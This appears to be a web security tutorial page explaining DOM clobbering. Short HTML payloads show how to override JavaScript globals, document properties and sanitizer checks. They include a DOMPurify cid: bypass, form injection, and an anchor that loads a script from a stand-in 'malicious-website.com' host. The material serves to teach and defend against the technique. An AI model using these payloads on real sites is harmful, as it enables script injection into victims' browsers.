# Dom Clobbering

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</details>
{% endhint %}

## **Basics**

It's possible to generate **global variables inside the JS context** with the attributes **`id`** and **`name`** in HTML tags.

```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```

**Only** certain elements can use the **name attribute** to clobber globals, they are: `embed`, `form`, `iframe`, `image`, `img` and `object`.

Interestingly, when you use a **form element** to **clobber** a variable, you will get the **`toString`** value of the element itself: `[object HTMLFormElement]` but with **anchor** the **`toString`** will be the anchor **`href`**. Therefore, if you clobber using the **`a`** tag, you can **control** the **value** when it's **treated as a string**:

```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```

### Arrays & Attributes

It's also possible to **clobber an array** and **object attributes**:

```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```

To clobber **a 3rd attribute** (e.g. x.y.z), you need to use a **`form`**:

```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```

Clobbering more attributes is **more complicated but still possible**, using iframes:

```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```

{% hint style="warning" %}
The style tag is used to **give enough time to the iframe to render**. Without it you will find an alert of **undefined**.
{% endhint %}

To clobber deeper attributes, you can use **iframes with html encoding** this way:

```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```

### **Filter Bypassing**

If a filter is **looping** through the **properties** of a node using something like `document.getElementByID('x').attributes` you could **clobber** the attribute **`.attributes`** and **break the filter**. Other DOM properties like **`tagName`** , **`nodeName`** or **`parentNode`** and more are also **clobberable**.

```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```

## **Clobbering `window.someObject`**

In JavaScript it's common to find:

```javascript
var someObject = window.someObject || {};
```

Manipulating HTML on the page allows overriding `someObject` with a DOM node, potentially introducing security vulnerabilities. For example, you can replace `someObject` with an anchor element pointing to a malicious script:

```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```

In a vulnerable code such as:

```html
<script>
    window.onload = function(){
        let someObject = window.someObject || {};
        let script = document.createElement('script');
        script.src = someObject.url;
        document.body.appendChild(script);
    };
</script>
```

This method exploits the script source to execute unwanted code.

**Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.

Another technique uses a **`form`** element. Certain client-side libraries inspect the attributes of a newly created form element to clean them. However, by adding an `input` with `id=attributes` inside the form, you effectively overwrite the attributes property, preventing the sanitizer from accessing the actual attributes.

You can [**find an example of this type of clobbering in this CTF writeup**](../iframes-in-xss-and-csp#iframes-in-sop-2).

## Clobbering document object

According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:

> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
>
> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).

Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.

```javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object
```

## Writing after the element clobbered

The results of calls to **`document.getElementById()`** and **`document.querySelector()`** can be altered by injecting a `<html>` or `<body>` tag with an identical id attribute. Here's how it can be done:

```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```

Furthermore, by employing styles to hide these injected HTML/body tags, interference from other text in the `innerText` can be prevented, thus enhancing the efficacy of the attack:

```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```

Investigations into SVG revealed that a `<body>` tag can also be utilized effectively:

```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```

For the HTML tag to function within SVG in browsers like Chrome and Firefox, a `<foreignobject>` tag is necessary:

```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```

## Clobbering Forms

It's possible to add **new entries inside a form** just by **specifying the `form` attribute** inside some tags. You can use this to **add new values inside a form** and to even add a new **button** to **send it** (clickjacking or abusing some `.click()` JS code):

{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}

* For more form attributes in [**button check this**](https://www.w3schools.com/tags/tag_button.asp)**.**

## References

* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.

{% hint style="success" %}
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</details>
{% endhint %}
